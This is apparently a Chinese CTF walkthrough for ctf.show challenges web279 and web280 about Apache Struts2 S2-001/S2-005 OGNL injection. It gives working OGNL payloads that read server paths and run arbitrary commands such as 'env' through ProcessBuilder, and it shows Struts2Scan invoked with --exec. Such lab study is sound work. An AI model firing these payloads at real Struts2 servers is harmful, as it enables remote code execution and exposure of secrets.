web279-S2-001漏洞
1
2
3
4
|
S2-001漏洞核心:
利用OGNL表达式注入实现远程命令执行
当登录失败时,错误信息会回显在表单中
输入%{1+1}会被解析为2,证明OGNL表达式被执行
|
获取 Tomcat 执行路径
1
2
3
4
|
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
/*@java.lang.System@getProperty("user.dir") - 调用System类的静态方法获取当前工作目录
"tomcatBinDir{"+...+")" - 字符串拼接,将结果包装在tomcatBinDir{...}中
|
尝试获取Web路径
1
2
3
4
5
6
|
%{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }
/*#req=@org.apache.struts2.ServletActionContext@getRequest() - 获取HTTP请求对象
#response=#context.get("...").getWriter() - 获取响应输出流
#response.println(#req.getRealPath('/')) - 输出web应用根目录的真实路径
#response.flush(),#response.close() - 刷新并关闭输出流
|
任意命令执行
1
2
3
4
5
6
7
8
9
|
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
/*#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start() - 创建进程执行env命令
#b=#a.getInputStream() - 获取进程输出流
#c=new java.io.InputStreamReader(#b) - 创建输入流读取器
#d=new java.io.BufferedReader(#c) - 创建缓冲读取器
#e=new char[50000],#d.read(#e) - 读取命令执行结果到字符数组
#f=#context.get("...").getWriter() - 获取HTTP响应输出流
#f.getWriter().println(new java.lang.String(#e)) - 将命令执行结果输出到页面
|
从零开始学习struts2漏洞 S2-001-先知社区
S2-001 远程代码执行 漏洞复现-CSDN博客
web280
1
|
python Struts2Scan.py -u http://2945b348-7c75-47e1-b900-339e66559c12.challenge.ctf.show/S2-005/example/HelloWorld.action
|
1
|
python Struts2Scan.py -u "http://2945b348-7c75-47e1-b900-339e66559c12.challenge.ctf.show/S2-005/example/HelloWorld.action" -n S2-005 --exec
|